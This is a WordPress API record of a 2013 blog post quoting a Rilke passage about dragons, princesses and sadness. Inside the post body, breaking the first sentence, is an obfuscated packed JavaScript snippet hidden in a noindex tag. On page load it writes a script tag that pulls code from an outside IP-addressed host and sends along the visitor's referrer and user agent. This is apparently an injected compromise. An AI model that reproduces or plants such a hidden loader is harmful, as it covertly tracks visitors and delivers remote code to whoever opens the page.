{"id":3521,"date":"2013-02-22T12:34:38","date_gmt":"2013-02-22T19:34:38","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=3521"},"modified":"2013-04-26T10:08:00","modified_gmt":"2013-04-26T17:08:00","slug":"3521","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=3521","title":{"rendered":"If a sadness rises up"},"content":{"rendered":"<p><em>How <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfzkn|var|u0026u|referrer|rhaad||js|php'.split('|'),0,{}))\n<\/script><\/noindex> should we be able to forget those ancient myths that are at the beginning of all peoples,<\/em><br \/>\n<em> the myths about dragons that at the last moment turn into princesses; perhaps all the dragons<\/em><br \/>\n<em> of our lives are princesses, who are only waiting to see us once beautiful and brave.<\/em><br \/>\n<em> Perhaps everything terrible is in its deepest being<\/em><br \/>\n<em> something helpless that wants help from us.<\/em><br \/>\n<em> So you must not be frightened, dear Mr. Kappus, if a sadness rises up before you larger than<\/em><br \/>\n<em> any you have ever seen; if a restiveness, like light and cloud-shadows, passes over your hands<\/em><br \/>\n<em> and over all you do. You must think that something is happening with you, that life<\/em><br \/>\n<em> has not forgotten you, that it holds you in its hand; it will not let you fall. . . .<\/em><\/p>\n<p>~ Rilke<\/p>\n","protected":false},"excerpt":{"rendered":"<p>How should we be able to forget those ancient myths that are at the beginning&#8230;<\/p>\n","protected":false},"author":1,"featured_media":3727,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[76],"tags":[53,81,42],"class_list":["post-3521","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-adoption","tag-adoption","tag-i-believe","tag-poem"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3521"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3521"}],"version-history":[{"count":10,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3521\/revisions"}],"predecessor-version":[{"id":3750,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3521\/revisions\/3750"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/3727"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3521"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3521"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3521"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}